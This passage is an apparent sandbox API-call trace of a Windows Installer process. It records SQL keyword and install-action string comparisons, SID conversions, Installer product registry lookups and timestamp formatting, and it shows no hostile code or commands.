lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.765] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.765] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.765] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.765] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.765] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.765] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.765] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.765] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0149.766] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0149.766] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0149.766] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.766] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0149.766] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0149.766] lstrlenW (lpString="DiskId") returned 6 [0149.766] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.766] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.766] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.766] lstrlenW (lpString="DiskPrompt") returned 10 [0149.766] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.766] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.766] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.766] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.766] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.766] GlobalLock (hMem=0xf40218) returned 0x2e1c30 [0149.766] GlobalUnlock (hMem=0xf40218) returned 0 [0149.766] GlobalUnlock (hMem=0xf40228) returned 0 [0149.766] GlobalUnlock (hMem=0xf40208) returned 0 [0149.767] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.768] memcpy (in: _Dst=0x37b075c, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b075c) returned 0x37b075c [0149.768] memcpy (in: _Dst=0x37b075e, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b075e) returned 0x37b075e [0149.768] memcpy (in: _Dst=0x37b0760, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0760) returned 0x37b0760 [0149.768] memcpy (in: _Dst=0x37b0762, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0762) returned 0x37b0762 [0149.768] memcpy (in: _Dst=0x37b0764, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0764) returned 0x37b0764 [0149.768] memcpy (in: _Dst=0x37b0766, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0766) returned 0x37b0766 [0149.768] memcpy (in: _Dst=0x37b0768, _Src=0x10cdc18, _Size=0x4 | out: _Dst=0x37b0768) returned 0x37b0768 [0149.768] memcpy (in: _Dst=0x37b076c, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b076c) returned 0x37b076c [0149.768] memcpy (in: _Dst=0x37b076e, _Src=0x10cdc18, _Size=0x4 | out: _Dst=0x37b076e) returned 0x37b076e [0149.768] memcpy (in: _Dst=0x37b0772, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0772) returned 0x37b0772 [0149.768] memcpy (in: _Dst=0x37b0774, _Src=0x10cdc18, _Size=0x2 | out: _Dst=0x37b0774) returned 0x37b0774 [0149.768] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.769] memcpy (in: _Dst=0x37b0792, _Src=0x10cdd28, _Size=0x2 | out: _Dst=0x37b0792) returned 0x37b0792 [0149.769] memcpy (in: _Dst=0x37b0794, _Src=0x10cdd28, _Size=0x2 | out: _Dst=0x37b0794) returned 0x37b0794 [0149.769] _vsnwprintf (in: _Buffer=0x10cd8e0, _BufferCount=0x103, _Format="%s\\%s\\%s", _ArgList=0x10cd8a8 | out: _Buffer="Products\\8F3854CA4966E374BB7723DCCFB99A04\\InstallProperties") returned 59 [0149.769] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.769] GetCurrentThreadId () returned 0xf50 [0149.769] GetCurrentThreadId () returned 0xf50 [0149.769] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.769] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc790, TokenInformationLength=0x58, ReturnLength=0x10cc780 | out: TokenInformation=0x10cc790, ReturnLength=0x10cc780) returned 1 [0149.769] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cc870, pSourceSid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cc870*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.769] ConvertSidToStringSidW (in: Sid=0x10cc870*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc850 | out: StringSid=0x10cc850*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.770] LocalFree (hMem=0x3c5cd0) returned 0x0 [0149.770] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.770] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0149.770] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccc90 | out: phkResult=0x10ccc90*=0x0) returned 0x2 [0149.770] GetCurrentThreadId () returned 0xf50 [0149.770] GetCurrentThreadId () returned 0xf50 [0149.770] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.770] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cc790, TokenInformationLength=0x58, ReturnLength=0x10cc780 | out: TokenInformation=0x10cc790, ReturnLength=0x10cc780) returned 1 [0149.770] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cc870, pSourceSid=0x10cc7a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cc870*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.770] ConvertSidToStringSidW (in: Sid=0x10cc870*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cc850 | out: StringSid=0x10cc850*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.770] LocalFree (hMem=0x3c5a30) returned 0x0 [0149.770] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.770] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.770] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccc90 | out: phkResult=0x10ccc90*=0x0) returned 0x2 [0149.770] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.770] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.770] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ccc90 | out: phkResult=0x10ccc90*=0x0) returned 0x2 [0149.770] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.771] GetCurrentThreadId () returned 0xf50 [0149.771] GetCurrentThreadId () returned 0xf50 [0149.771] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.771] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd580, TokenInformationLength=0x58, ReturnLength=0x10cd570 | out: TokenInformation=0x10cd580, ReturnLength=0x10cd570) returned 1 [0149.771] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd660, pSourceSid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.771] ConvertSidToStringSidW (in: Sid=0x10cd660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd640 | out: StringSid=0x10cd640*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.771] LocalFree (hMem=0x3c5cd0) returned 0x0 [0149.771] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.771] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0149.771] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdbc0 | out: phkResult=0x10cdbc0*=0x0) returned 0x2 [0149.771] GetCurrentThreadId () returned 0xf50 [0149.771] GetCurrentThreadId () returned 0xf50 [0149.771] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.771] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd580, TokenInformationLength=0x58, ReturnLength=0x10cd570 | out: TokenInformation=0x10cd580, ReturnLength=0x10cd570) returned 1 [0149.771] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cd660, pSourceSid=0x10cd590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cd660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.771] ConvertSidToStringSidW (in: Sid=0x10cd660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cd640 | out: StringSid=0x10cd640*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.771] LocalFree (hMem=0x3c5a30) returned 0x0 [0149.771] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.772] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0149.772] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdbc0 | out: phkResult=0x10cdbc0*=0x0) returned 0x2 [0149.772] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0149.772] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0149.772] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdbc0 | out: phkResult=0x10cdbc0*=0x0) returned 0x2 [0149.772] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.773] memcpy (in: _Dst=0x37b0798, _Src=0x10cdd28, _Size=0x2 | out: _Dst=0x37b0798) returned 0x37b0798 [0149.773] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\", UrlIs=0x0) returned 0 [0149.773] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.773] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.773] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.774] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.774] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.774] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.774] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.774] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.774] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.774] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.774] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.775] lstrcmpW (lpString1="Advertise", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="AppSearch", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="BindImage", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="CCPSearch", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="CostFinalize", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="CostInitialize", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="CreateFolders", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="CreateShortcuts", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="DeleteServices", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="DuplicateFiles", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="FileCost", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="FindRelatedProducts", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="GenerateScript", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="InstallAdminPackage", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="InstallFiles", lpString2="InstallFinalize") returned -1 [0149.775] lstrcmpW (lpString1="InstallODBC", lpString2="InstallFinalize") returned 1 [0149.775] lstrcmpW (lpString1="InstallServices", lpString2="InstallFinalize") returned 1 [0149.775] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="InstallFinalize") returned 1 [0149.775] lstrcmpW (lpString1="InstallValidate", lpString2="InstallFinalize") returned 1 [0149.775] lstrcmpW (lpString1="LaunchConditions", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="MoveFiles", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="PatchFiles", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="ProcessComponents", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="PublishComponents", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="PublishFeatures", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="PublishProduct", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterClassInfo", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterComPlus", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterFonts", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterProduct", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RegisterUser", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveFiles", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveFolders", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveIniValues", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveODBC", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RemoveShortcuts", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RMCCPSearch", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="Rollback", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="RollbackCleanup", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="SelfRegModules", lpString2="InstallFinalize") returned 1 [0149.776] lstrcmpW (lpString1="SelfUnregModules", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="SetODBCFolders", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="StartServices", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="StopServices", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnmoveFiles", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnpublishComponents", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnpublishFeatures", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnpublishProduct", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterComPlus", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterFonts", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="WriteIniValues", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="WriteRegistryValues", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="ShutdownApplications", lpString2="InstallFinalize") returned 1 [0149.777] lstrcmpW (lpString1="ConfigureServices", lpString2="InstallFinalize") returned -1 [0149.777] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="InstallFinalize") returned -1 [0149.777] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.777] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.777] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.777] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.777] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.777] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.777] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.777] memcpy (in: _Dst=0x29f80be, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.777] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.778] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0149.778] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.779] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.779] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.779] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.779] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.779] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x3a9)) [0149.779] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.779] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0149.779] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0149.779] memcpy (in: _Dst=0x29f80da, _Src=0x376446, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0149.779] memcpy (in: _Dst=0x29f80de, _Src=0x37644c, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0149.779] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.781] FreeLibrary (hLibModule=0x7fef9de0000) returned 1 [0149.813] lstrcmpiW (lpString1="", lpString2="URTREINSTALL") returned -1 [0149.814] lstrcmpiW (lpString1="", lpString2="URTUPGRADE") returned -1 [0149.816] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34a748 | out: 